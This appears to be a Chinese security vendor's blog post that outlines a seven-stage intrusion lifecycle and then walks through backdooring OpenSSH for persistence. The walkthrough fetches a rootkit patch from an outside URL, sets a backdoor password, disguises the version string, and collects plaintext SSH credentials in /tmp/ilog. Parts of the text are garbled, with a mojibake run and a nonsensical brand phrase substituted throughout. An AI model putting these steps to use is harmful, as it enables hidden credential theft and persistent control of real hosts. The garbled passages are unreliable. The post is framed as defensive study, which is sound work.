提交需求
*
*

*
*
*
立即提交
点击”立即提交”，表明我理解并同意 《黄金城科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于黄金城
    申请试用
      《入侵生命周期细分实践指南系列》：二进制文件修改攻击
      发布时间：2022-11-18 作者：黄金城科技黄金城官网实验室 阅读次数： 959 次

      黄金城科技为了更好地进行入侵检测和防御，参照各种黄金城官网威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型，作为黄金城新一代黄金城官网架构的三大支柱之一。

      入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。

      1）探索发现

      在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。

      2）入侵和感染

      在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。

      3）探索感知

      攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。

      4）传播

      在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。

      5）持久化

      攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。

      6）攻击和利用

      攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。

      7）恢复

      攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。

      本系列文章基于黄金城科技入侵生命周期1.0架构，细分各阶段攻击者的常用攻击手段，并对相关攻击手段的具体实施方式进行逐一剖析，为黄金城官网防御建设提供有力知识补充和反制准备。





       二进制文件修改攻击（持久化）

      系统上持续运行的软件服务往往是攻击者进行持久化控制的最有利工具之一。如果可以修改系统软件程序的二进制文件实现自定义功能，同时不影响系统软件服务的正常运行，那么就是一个非常完美的持久化控制方法。

      从攻击者的角度来分析，在linux系统中，攻击者可以通过修改openssh部署包二进制文件，添加恶意后门补�。志没鼗袢sh登录账号密码，达到持久化控制受害主机的目的。

      根据攻击者的入侵流程和操作手段，利用修改软件二进制文件攻击在入侵过程的入侵成功之后，可以帮助攻击者在入侵成功后持久化地控制受害主机，从入侵生命周期角度分析，修改软件二进制文件攻击可作用于攻击者持久化阶段。在持久化阶段，攻击者利用修改软件二进制文件的手段获取明文凭证实现持久化控制。

      从攻击行为链条的上下文来看，针对利用修改软件二进制文件攻击的行为链条输入输出如下：

      输入：openssh二进制文件、openssh后门补丁文件

      输出：ssh登录明文账号密码

      根据不同攻击思路，攻击者利用修改软件二进制文件的攻击手法通常有1种：

      1.通过修改openssh源码创建持久后门劫持明文账号密码

      首先下载openssh的源码包

      https://ftp.osuosl.org/pub/blfs/conglomeration/openssh/openssh-5.9p1.tar.gz

      下载openssh后门源码

      http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

      这里安装一个centos6.4的系统进行测试

      https://archive.kernel.org/centos-vault/6.4/isos/x86_64/

      使用ssh -V命令查看当前openssh版本信息

      yum安装所需依赖包

      yum -y install openssl openssl-devel pam-devel zlib zlib-devel

      上传下载好的openssh源码包以及后门源码文件到centos中

      分别解压压缩包文件


      tar xf openssh-5.9p1.tar.gz
tar xf 0x06-openssh-5.9p1.patch.tar.gz


      将后门文件夹中的后门补丁文件复制到openssh文件夹中

      cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

      使用patch命令打补丁

      patch < sshbd5.9p1.diff

      修改后门密码

      vim includes.h

      修改版本为原openssh增加隐蔽性

      vim version.h

      安装gcc

      yum install gcc

      编译配置

      ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

      进行编译

      make && make install

      编译完成后重启ssh，查看当前的openssh版本号与原版本号一致

      service sshd restart
ssh -V


      使用账号密码进行ssh连接后，即可在/tmp/ilog中看到保存的明文账号密码

      cat /tmp/ilog

      上一条：CVE-2022-40127 Apache Airflow远程代码执行复现
      下一条：《入侵生命周期细分实践指南系列》：域策略修改攻击
      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部
      【网站地图】【sitemap】